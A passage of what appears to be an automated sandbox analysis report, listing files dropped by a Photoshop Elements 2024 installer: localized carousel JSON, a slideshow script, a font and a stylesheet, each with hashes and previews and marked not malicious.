Preview:	{.. "Name": "V.ukov. lekce k aplikaci Photoshop Elements",.. "SubTitle": "Za.n.te, nau.te se z.klady a nechte se inspirovat.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64bitov. verze) (minim.ln. po.adavek)",.. "OperatingSystemMac": "Mac OS 10.12 (minim.ln. po.adavek)",.. "Memory": "Instalace aplikace vy.aduje alespo. 4 GB pam.ti RAM",.. "TextSlide1": "Sjedno.te barvu a.t.n s.jinou fotografi. nebo vyu.ijte p.ednastaven..",.. "TextSlide2": "Vytvo.te stylizovan. text za p.r sekund.",.. "TextSlide3": "Vytv..ejte a sd.lejte foto p.sma ve form.tu MP4.",.. "TextSlide4": "Jedn.m kliknut.m vyb.rejte oblohu nebo pozad.. ",.. "TextSlide5": "Nov., osv..en. podoba - se sv.tl.mi a tmav.mi re.imy.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel Rychl. akce pro .pravy jedn.m kliknut.m",.. "TextSlide8": "Integrace slu.by Adobe Stock",.. "TextSlide9": "Aktualizace webov. a.mobiln. verze ",.. "TextSlide10": "(betaverze pouze v.an

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\de_de\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	946
Entropy (8bit):	4.953889317998113
Encrypted:	false
SSDEEP:	24:ARWqWN36awP3lc90XpYn9VVRndMMAEBzSKhm5tG9kx:vX6hfyXn9523GI5tV
MD5:	1FBC842F9A1E6F76E6ACF661816FE62E
SHA1:	D8B0EC6941246B4B423C1A15467EFBCAEC8121A7
SHA-256:	5D6ABD25084CBF6F04D54C0164E5E0B3F89D969A91E2E850C7DAE77588E571B8
SHA-512:	58A0A04E76B0D0F35EAA01B03F37DFBBEDD60279FFCCB26CC4FD34F6562DD8ECA8CF1891578861A06C393AA82A5E41537618D6598E4080264FBB1B4C7B024170
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements . Tutorials",.. "SubTitle": "Erste Schritte, Grundlagen, Inspirationen.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-Bit) (mindestens erforderlich)",.. "OperatingSystemMac": "Mac OS 10.12 (mindestens erforderlich)",.. "Memory": "Sie ben.tigen mindestens 4 GB RAM, um die Anwendung zu installieren",.. "TextSlide1": "An Farbe und Ton eines anderen Fotos anpassen oder Vorgaben nutzen.",.. "TextSlide2": "Stilisierten Text in Sekundenschnelle erstellen.",.. "TextSlide3": "MP4-Foto-Reel erstellen und teilen.",.. "TextSlide4": "Einen Himmel oder Hintergrund per Mausklick ausw.hlen.",.. "TextSlide5": "Neuer, frischer Look . mit Hell- und Dunkel-Modi.",.. "TextSlide6": "Plus",.. "TextSlide7": "Schnellaktionen zur kinderleichten Bearbeitung",.. "TextSlide8": "Integration mit Adobe Stock",.. "TextSlide9": "Web- und Mobil-Updates ",.. "TextSlide10": "(Beta nur in englischer Sprache)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\en_US\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	5.02637898118712
Encrypted:	false
SSDEEP:	24:RMRWsRVg6aE3lchllo8ElVwsa5kHgN7FYtQ:RDso6vEWRl6RyANh
MD5:	BA0A234966CC8F97101F456C96AC4632
SHA1:	8D00C13D7EF727210996BAD946F763B9FDB69FB0
SHA-256:	168D3D6C0C91C0850865733EB244760F6BB3DE0902395A443AFC44B02592A048
SHA-512:	391F67878830E4C907EEB5A387B94E411A9862559677264AC18A19A36840035520DE7E40B5BEE041483C1AC6B66D3ABDD389E7502C423D6FC701AB2088580D6E
Malicious:	false
Preview:	{..."Name":."Photoshop Elements tutorials",..."SubTitle":."Get started, get the essentials, get inspired.",..."Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",..."TextSlide1": "Match the color & tone from another photo or use presets.",..."TextSlide2": "Create stylized text in seconds.",..."TextSlide3": "Create & share MP4 Photo Reels.",..."TextSlide4": "One-click to select a sky or background.",..."TextSlide5": "New refreshed look . with light and dark modes.",..."TextSlide6": "Plus",..."TextSlide7": "Quick Actions panel for one-click edits",..."TextSlide8": "Adobe Stock integration",..."TextSlide9": "Web & mobile updates ",..."TextSlide10": "(English-only beta)"..}..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\es_es\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.889772694170443
Encrypted:	false
SSDEEP:	24:ycRW05836yd3lcsRmz42/gcA69PAHxZDx8lHntBKvsI:qYY6evB2/GWlHntBAsI
MD5:	6D77FA7C087128F0DDACB5D1C86C95E2
SHA1:	668E0CA6D419FA09A4DB81BC8469BAF686835A46
SHA-256:	320A7B8CD564064EC11925C96F0F323B19FFC82440439C4B87ABFF59A658F1E5
SHA-512:	2F66150B342F41F2968B44001EE53F6457081DD58A715DDF68DFFAE3B5213643AA7BB6435E7DFDAB518533EFDD0A407412B8DF9948A7CAAB14A34BE6C6377CDC
Malicious:	false
Preview:	{.. "Name": "Tutoriales de Photoshop Elements",.. "SubTitle": "Empiece, descubra los fundamentos y encuentre inspiraci.n.",.. "Operating1xWin": "Windows 7 con Service Pack 1 (64 bits) (m.nimo requerido)",.. "OperatingSystemMac": "Mac OS 10.12 (m.nimo requerido)",.. "Memory": "Se necesita un m.nimo de 4.GB de RAM para instalar la aplicaci.n",.. "TextSlide1": "Combine el color y el tono de otra foto, o bien utilice ajustes preestablecidos.",.. "TextSlide2": "Cree un texto estilizado en segundos.",.. "TextSlide3": "Cree y comparta reels de fotos en MP4.",.. "TextSlide4": "Haga clic una vez para seleccionar un cielo o fondo.",.. "TextSlide5": "Nuevo estilo renovado con modos claro y oscuro.",.. "TextSlide6": "M.s",.. "TextSlide7": "Panel Acciones r.pidas para realizar ediciones con un solo clic",.. "TextSlide8": "Integraci.n con Adobe Stock",.. "TextSlide9": "Actualizaciones web y m.viles ",.. "TextSlide10": "(Beta solo en ingl.s)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\fr_fr\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1027
Entropy (8bit):	5.00331328127714
Encrypted:	false
SSDEEP:	24:x6cRWqKJ36hxMM3lQCidzBjNR2NPjyFBWdsBXJKAvE1uoXutXUB9Rn:gqKB6hxt+B1jNR2NVdsBZrvNyutkpn
MD5:	CC854F1036F7591BF00E2AFEB465F659
SHA1:	60457317A8F7F241C3F94595C13E37F4A8DC3352
SHA-256:	67A1C6394300FB01B4DF5C8D1ECCA0AB026797BD2C1BEB09084BEA356DF89754
SHA-512:	8A26F56E1E6861C1CFCF07F8349AD0F32FC60D962E5433997B7F6F8B7D361F172A8CDB9717297EC91ECD7989A88B1A93D696382BA5852723528DBACD50F70D8E
Malicious:	false
Preview:	{.. "Name": "Tutoriels Photoshop Elements",.. "SubTitle": "Lancez-vous, saisissez l'essentiel, soyez inspir..",.. "Operating1xWin": "Windows.7.Service.Pack.1 (64.bits) (minimum requis)",.. "OperatingSystemMac": "Mac.OS.10.12 (minimum requis)",.. "Memory": "Vous avez besoin de 4.Go de m.moire vive minimum pour installer l'application.",.. "TextSlide1": "Faites correspondre la couleur et le ton d.une autre photo ou utilisez des param.tres pr.d.finis.",.. "TextSlide2": "Cr.ez du texte stylis. en quelques secondes.",.. "TextSlide3": "Cr.ez et partagez des Bobines de photos MP4.",.. "TextSlide4": "Un seul clic pour s.lectionner un ciel ou un arri.re-plan.",.. "TextSlide5": "Nouveau look revisit. avec les modes clair et fonc..",.. "TextSlide6": "Plus",.. "TextSlide7": "Panneau Actions rapides pour les modifications en un clic",.. "TextSlide8": "Int.gration dans Adobe Stock",.. "TextSlide9": "Mises . jour Web et mobiles ",.. "TextSlide10": "(Version beta

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\it_it\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.801728131561229
Encrypted:	false
SSDEEP:	24:Ym3cRWV9z36aMR13lcqR+8WI69y/2TEeeQIMcwmx4LeJqASUtXIH:JDP61FBvWI693IA5ASUtXo
MD5:	37879C31149C21FB5DF9DAADCD67E909
SHA1:	20E314739D229E4B5DA2AF435BB0F251C06DB0C9
SHA-256:	17AC21F4AD75970E29C644CAC412483B4AB3B5611807E6C963FB72189AD9989B
SHA-512:	CF29AC25D8DE0E0AD658B02AF25A0B88CE643F26679BE2B3F2E944E4B558FACBA94804CC88C32F550395708D0BDA003AD09FCBBFA2A9FA8FB70820F7775E0113
Malicious:	false
Preview:	{.. "Name": "Esercitazioni di Photoshop Elements",.. "SubTitle": "Iniziate, raccogliete tutto ci. che vi serve e lasciatevi ispirare.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 bit) (versione minima richiesta)",.. "OperatingSystemMac": "Mac OS 10.12 (versione minima richiesta)",.. "Memory": "Sono necessari almeno 4 Gb di RAM per installare l'applicazione",.. "TextSlide1": "Abbina il colore e il tono di un'altra foto o utilizza le preimpostazioni.",.. "TextSlide2": "Crea testo stilizzato in pochi secondi.",.. "TextSlide3": "Crea e condivi i reel di foto in MP4.",.. "TextSlide4": "Fai clic per selezionare un cielo o uno sfondo.",.. "TextSlide5": "Look rinnovato, con modalit. luce e buio.",.. "TextSlide6": "Pi.",.. "TextSlide7": "Pannello Azioni rapide per modifiche con un clic",.. "TextSlide8": "Integrazione con Adobe stock",.. "TextSlide9": "Aggiornamenti Web e per dispositivi mobili ",.. "TextSlide10": "(Beta solo in inglese)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\ja_jp\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	5.56961836864283
Encrypted:	false
SSDEEP:	24:ARWOlFK2G5e36asK3lc32QV6XGS8kDqbzEzxQciMCj7EOL0uo8fJNoNYnXe8r:va0h5y65mA2N8hWu5pzxWNYnuo
MD5:	C31570E7CCB0FC3A4236B98ABBD0CC08
SHA1:	33AFEC87102C157C7A7B80D0058F40F591E0BBC3
SHA-256:	E645B23E361162F77EDB93AC9028F094C8CC316B2B9AAB88EA4690D43F554BFE
SHA-512:	6B3A2FF37B7EE09BB5FA55DE7F072647DE4F3A54E003C4D08860AB4335E3E2EBB0AB9D483AA853A77D46B2C65F02FCD7CBB5FD12B98C9A88F976D5E64759C035
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements .......",.. "SubTitle": "........................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (..)",.. "OperatingSystemMac": "Mac OS 10.12 (..)",.. "Memory": "...................... 4GB . RAM ......",.. "TextSlide1": "................................",.. "TextSlide2": "....................",.. "TextSlide3": "MP4 .................",.. "TextSlide4": "1 ....................",.. "TextSlide5": "........................",.. "TextSlide6": "...",.. "TextSlide7": "..............................",.. "TextSlide8": "Adobe Stock

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\ko_kr\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	551
Entropy (8bit):	5.719924059723855
Encrypted:	false
SSDEEP:	12:r4DRWzAwv/WgQYATnJPO4T3bu1BJGvdhEU3lcLD9gT6XOqjYkS9OTKHHVy1JZR:ARWswl8nVO+36UFKU3lcLM6XOqkpAU1O
MD5:	079C7C099407A71437825C7DF92A92B1
SHA1:	D8195B86E2FC055F86C6EBDF7BBED07A62157A1C
SHA-256:	7CBC5BC481D33E921C57652DA070E5536A2292169C8C000548BC9F3B5367B9A6
SHA-512:	D7E5FF122D86FDB82A4E939E87F0FFF794010A4C5F79FCE0DC0CCB59E9392B5DA7C52B1B99F2A33FA45998E58936A15B900F4AF385DF9684BC419E626D2634D7
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ...",.. "SubTitle": ".... .. ... ... .....",.. "Operating1xWin": "Windows 7 ... . 1(64..)(.. .. ..)",.. "OperatingSystemMac": "Mac OS 10.12(.. .. ..)",.. "Memory": "....... ..... .. 4GB. RAM. ......",.. "TextSlide1": "._Instantly turn photos into works of art.",.. "TextSlide2": "._Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\nl_nl\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	4.827268491011639
Encrypted:	false
SSDEEP:	24:IPwcRWDMH36aw3lcXISxODG87cU8XCDUEHEmtclaRAyJK:IUDw6NpSxqfDHvt6yJK
MD5:	12B2FAAEC8A5524181967996AE808234
SHA1:	45DE57CF1B5C0CD4C7FA4CFF9A2CEF54E3F71B72
SHA-256:	06C55DFBC16F965839945B5EF066FE98F05EC8146D5B317D22C7D83D6976D806
SHA-512:	C04D15AB32E4F0DE73E124E3A9CD10AEE73C132ACEA29AA343A8DAF5A9680A63B8A5675294880A7447269653F6339D9F215CC311755B3045659A165EF4777B75
Malicious:	false
Preview:	{.. "Name": "Zelfstudies voor Photoshop Elements",.. "SubTitle": "Ga aan de slag met handige tools en laat u inspireren.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bits) (minimaal vereist)",.. "OperatingSystemMac": "Mac OS 10.12 (minimaal vereist)",.. "Memory": "U hebt minimaal 4 GB RAM nodig om de toepassing te installeren",.. "TextSlide1": "Stem kleur en tint af op een andere foto of gebruik voorinstellingen.",.. "TextSlide2": "Maak in een oogwenk gestileerde tekst.",.. "TextSlide3": "Maak en deel MP4-reels met foto's.",.. "TextSlide4": "Selecteer de lucht of achtergrond met ..n klik.",.. "TextSlide5": "Nieuwe, verbeterde look met lichte en donkere modus.",.. "TextSlide6": "Plus",.. "TextSlide7": "Snelle handelingen voor bewerkingen met ..n muisklik",.. "TextSlide8": "Integratie met Adobe Stock",.. "TextSlide9": "Updates voor internet en mobiele apparaten ",.. "TextSlide10": "(B.ta, alleen Engelstalig)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\pl_pl\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	5.197252482745693
Encrypted:	false
SSDEEP:	24:+cRW8l36cr3lctnThcoq19aoy7VyMEnrzyxYqD19t7P6f:GC6WC2zao+VyByYqx9ts
MD5:	A2BC40676845B4DDAFEAAB0523FF3671
SHA1:	AD321F26CEC3D9F2E6812AB525AB62403A145D6E
SHA-256:	55FC0609D045D6691129E51B196C71C3D4D98FC77A4DFE8FC6D62DB75C7B1680
SHA-512:	CD0D8E9374F96FECE5673E7F6D9C259329A991F0CE46C90AFC41A51A937853ABAB71E64AC110FDE3977B7638484E1CC204F08D33A779E067DB637F1B54288EA9
Malicious:	false
Preview:	{.. "Name": "Samouczki programu Photoshop Elements",.. "SubTitle": "Rozpocznij, poznaj wszystkie podstawy, zainspiruj si..",.. "Operating1xWin": "Windows 7 z dodatkiem Service Pack 1 (64-bitowy) (minimalna wymagana wersja)",.. "OperatingSystemMac": "Mac OS 10.12 (minimalna wymagana wersja)",.. "Memory": "Do instalacji aplikacji wymagane s. co najmniej 4 GB pami.ci RAM.",.. "TextSlide1": "Dopasuj kolor i odcie. zdj.cia lub u.yj ustawie. predefiniowanych.",.. "TextSlide2": "Utw.rz tekst stylizowany w kilka sekund.",.. "TextSlide3": "Tw.rz i udost.pniaj rolki fotograficzne MP4.",.. "TextSlide4": "Kliknij, aby wybra. niebo lub t.o.",.. "TextSlide5": "Nowy, od.wie.ony wygl.d - z trybem jasnym i ciemnym.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel szybkich operacji do b.yskawicznych edycji",.. "TextSlide8": "Integracja z us.ug. Adobe Stock",.. "TextSlide9": "Aktualizacje internetowe i.mobilne ",.. "TextSlide10": "(Wersja Beta tylko w.j.zyku angielskim

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\ru_ru\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.708899028432502
Encrypted:	false
SSDEEP:	24:vNcRW3tDc36llsSeJ3lccSeFJGvlqkEZmAhWaTT13hWaTT12hWaTT1FagiXF:V3R46MdZytqkSW+xW+EW+ZCF
MD5:	C08F7659EFCC7319CEA404C411852D7C
SHA1:	960E5E87D616CE32C02101DD95E31A1B9AA5CA01
SHA-256:	0A2B57E247570FCD544EE2D76BB2520824DA5BEC5CC41C4B4082354A8F67087A
SHA-512:	92CEE63DFF79C0F6875ED2B74328995C8A88F473E1E4A412DEF3EA5F6601B2A5EF424D4D1FA45F0E59083A405771A74C7B282AF6879C12E48F62E6AF4BB19781
Malicious:	false
Preview:	{.. "Name": "........... .. Photoshop Elements",.. "SubTitle": ".......... ......, ......... ....., ......... ............",.. "Operating1xWin": "Windows 7 . ....... .......... SP1 (64-.........) (.......... .......... ......)",.. "OperatingSystemMac": "Mac OS 10.12 (.......... .......... ......)",.. "Memory": "... ......... .......... ......... ....... 4... ...",.. "TextSlide1": "..... ........ .......... ........... .......... . .......... GIF-............",.. "TextSlide2": "........... .......... ....... ....... . .......... ........ .......",.. "TextSlide4": "........... .......... ....... ....... . .......... ......

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\sv_se\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	5.007707161623855
Encrypted:	false
SSDEEP:	24:UcRWUuN36oJ3l4Kh+sW92zJZ2KAaceGyBL2Jgsmks/NhGQsuUbz9k:wUud6ObhU2zAcGyBOo/NhHsU
MD5:	9A386BDD3D45947475EA973AA97A29FB
SHA1:	F5DA3004442F42B7A59512E35414E6F4758F0634
SHA-256:	7EC82E6599FA6E89DEE2837ECF6544C9062D2133D2D265F181C2710CC22E9129
SHA-512:	796F9078350951EB62CF203E655F9170A1F02DFD9A16E327764955C27437E872E7C2B7612C0817CB4BA52051A0DC4E0B71925DDB0F1E10A81D1E5A41AE645A7B
Malicious:	false
Preview:	{.. "Name": "Sj.lvstudiekurser f.r Photoshop Elements",.. "SubTitle": "Kom ig.ng, l.r dig det grundl.ggande och bli inspirerad.",.. "Operating1xWin": "Windows 7 med Service Pack 1 (64-bitars) kr.vs",.. "OperatingSystemMac": "macOS 10.12 kr.vs",.. "Memory": "Om du vill installera programmet m.ste du ha minst 4 GB med RAM-minne",.. "TextSlide1": "Matcha f.rg och ton fr.n ett annat foto eller anv.nd f.rinst.llningar.",.. "TextSlide2": "Skapa stiliserad text p. n.gra sekunder.",.. "TextSlide3": "Skapa och dela filmrulle i mp4-format.",.. "TextSlide4": "Klicka en g.ng f.r att markera en himmel eller bakgrund.",.. "TextSlide5": "Nytt fr.scht utseende . med ljust och m.rkt l.ge.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panelen Snabb.tg.rder f.r redigeringar med ett klick",.. "TextSlide8": "Adobe Stock-integrering",.. "TextSlide9": "Webb- och mobiluppdateringar ",.. "TextSlide10": "(betaversion endast p. engelska)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\zh_cn\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	533
Entropy (8bit):	5.952077038813362
Encrypted:	false
SSDEEP:	12:r4DRWf0pJ3bu1BJoWhu0mdu3lcW0mdJ3xMIYyeKOTuHHVy1r9R:ARWf2J36aQue3lcW8T1Y1ydv
MD5:	9558152FC5BA73DAE53330E8F74103C3
SHA1:	4583E8593C9BFFE79DB23F204D40F459EE4C579A
SHA-256:	E716DAFAC7426644D61477EF792C1D26FF02E683494E6AE3BBF18FE5672F2409
SHA-512:	A860CFEEFAB7A35CD5B9BA4A9735ECFCD593291D32A846F531AE507A5090DB422F57C4C843341C50D33CC092FDAC8BC1F48ACAF217D400C71440998D2C571581
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ..",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1.64 ........",.. "OperatingSystemMac": "Mac OS 10.12......",.. "Memory": "..... 4GB RAM .........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\zh_tw\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	535
Entropy (8bit):	5.95952674339767
Encrypted:	false
SSDEEP:	12:r4DRWPu5tTJ3bu1BJoWI3lcnqX+M9L5KOTPWHHVy1b9R:ARWPufJ36a33lcqXnP1I1ydv
MD5:	480263433597D1DA400B0CAB80456B3C
SHA1:	B89620BDC7F4C0917EED3CD3D0DE256A8D2AD23B
SHA-256:	DEF0A09F07831DF10E11B346F2130509CB3AB30991C15A7FBDFE3D4AF6889562
SHA-512:	B910FFDFB82C529E6F8E73A389B336117751356273FF4DAC776F456E9298EF72C903A3F39A09EE2F01207FD7860E5BE1BF05AB94843320B51E954589FA524805
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements ....",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 ..) (....)",.. "OperatingSystemMac": "Mac OS 10.12 (....)",.. "Memory": "..... 4 GB . RAM ........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\Dictionary\zz_zz\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	4.923628829725424
Encrypted:	false
SSDEEP:	12:r4DRWrsxRrW/c3bu1BJoWF3lcnRFJgjCd2OT+ZHHVy1HNTR:ARW2Rv36a83lcHd5K1yZNl
MD5:	8BE468F56ED75DF9FD6E9296736C7437
SHA1:	6A5387D379E90A41DF202F2186DD520F707C91B4
SHA-256:	AA811CB8BD2936A0B7F3F884E3347D9DBF4663ABFFDAF64401A13F7910C5FF86
SHA-512:	85C55278DBAF490AD4686CEA2D3EDCC54C891654FE16B5129F5D28C20C2AB9D3A6AB98286F93FFA09906E7D74FDA9A1E8357ABE2A9B2643879C5C775D9372510
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements tutorials",.. "SubTitle": "Get started, get the essentials, get inspired.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",.. "TextSlide1": "Instantly turn photos into works of art.",.. "TextSlide2": "Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "Warp photos to fit any shape."..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\carousel.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2787
Entropy (8bit):	5.184018118549148
Encrypted:	false
SSDEEP:	48:NrWwZsezuvmwQr3TcEuDgAIKRzpIrspGZXBi0ahMDPTAP96kP9N9P9ciP9aMHLPU:4wZ6pQrRu00lIrW4i0rTMU4LBSS574Es
MD5:	44D3F90C842E5387DD782BC6097FABBD
SHA1:	CB6F6D2D643A5D958BD00D7C212BD35C2BB4DDEB
SHA-256:	DDA5350E57A484A80CA07489F18F064D67E21CCB08B36FF2BFA2C37657D6F37F
SHA-512:	3BB152DA1E07A6A86C375A3790C65C185557F92B0148A0C41CB4E1C5D079C3F9E7EC33F6E08652669AB6BFCDABF61B358FDAA353CCF1BFB0D99E4B8C5F6188C6
Malicious:	false
Preview:	$(document).ready(function() { cecInit(); });....function cecInit() {.. var jsonData;.. var locale = getParameterByName("locale");.. var isHighDpi = getParameterByName("isHighDpi");.... $("html").attr("lang", locale.slice(0, 2));.... cecGetLocaleJson(locale);..}....function resizeWin() { myWindow.resizeTo(455, 239); }..var slideIndex = 0;..showSlides();....function showSlides() {.. var i;.. var slides = document.getElementsByClassName("mySlides");.. for (i = 0; i < slides.length; i++) {.. slides[i].style.opacity = "0";.. slides[i].style.visibility = "hidden";.. }.. slideIndex++;.. if (slideIndex > slides.length) {.. slideIndex = 1;.. }.... slides[slideIndex - 1].style.opacity = "1";.. slides[slideIndex - 1].style.visibility = "visible";.... if (slideIndex == 6) {.. slideIndex = 0;.. }.. setTimeout(showSlides, 6000); // Change image every 5 seconds..}....function getParameterByName(name) {.. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");.. var

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\css\fonts\adobeclean\adobeclean-regular-webfont.woff

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 31112, version 1.0
Category:	dropped
Size (bytes):	31112
Entropy (8bit):	7.984152889259412
Encrypted:	false
SSDEEP:	768:4ol18SuOO3bBAughXjNPQsXVjWuu7jqWdTS2gS:Lr6tAugVjN4sXJYjqWdm2V
MD5:	6AF297E58EDC414EE90C76C2D3EA8678
SHA1:	7497D181CD6FE3A4B01A4F8B6BA6A47D3FA54333
SHA-256:	3E8F59DB6DFAE287AF8DCCC0FDF5E15A8AA2A954C2C232BC6C64536E1A27EAA5
SHA-512:	61E14F8E605C4D2B52C9A874F40E73FDE43625BC468BA3C7316E7672CFFD05B7C1766C875FC1B48218BD2B6856226645EE9BCB45810EB7121C5DBD0C184B7D0A
Malicious:	false
Preview:	wOFF......y................................BASE.......J....c`[.FFTM............[...GDEF.......#...&....OS/2.......X...`j..#cmap...d.........B.cvt .......V...V.}..fpgm...@.......e../.gasp................glyf......k4.....8.head..q4...2...6..Cohhea..qh... ...$.r.hhmtx..q....Y.....6P.loca..s..........c..maxp..u.... ... ....name..u....(...2.JI.post..v..........k.prep..x.........:.&cx.c`d``..b..>........<...7............l....<...6..`d`...a`....d...z.....x.c```d....6...'{..@.J.b%...x.c`d``..b9..`.BF..@...%....c..+O...x.c`a~.8.......,...,..t.!.).Hs.23..01.$00..............o....w00..d.P``...c......\..y..x.c```f.`..F..8..1..,..........P..1............).9.%.5.}.+.x.5.J..~........1...AA@ABA.............._..........p.......~.......4?0..H.).S.....l.p.L@..]..,.l...\.<.\|...B.".b...R.2.r...J.*.j...Z.:.z...F.&.f...V.6.v...N...n...^.>.~...A.!.a...Q.1.q....m..g.[.h...W.^.f..u.6n.e..{v...P...y.baA...,..Y......`...0.....b...Kjj.~...k.n_..........>{.Py..CKOsoW...}S.1L.3w6..c.@MU@.../.>...

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\css\styles.css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.841995719284234
Encrypted:	false
SSDEEP:	3:5RFKqvZKSYRvsDQR7C8jOIbQvLwKEUc3XKRCRNKLUDfFLKYgEQmXt:PJ9MsfIsvMfHHKRkNlZLKYgE7t
MD5:	3A0EC2D2C5020A3CF45C13A87434B285
SHA1:	12275D4D51DE801CE28C88A0C246DE22C6D08120
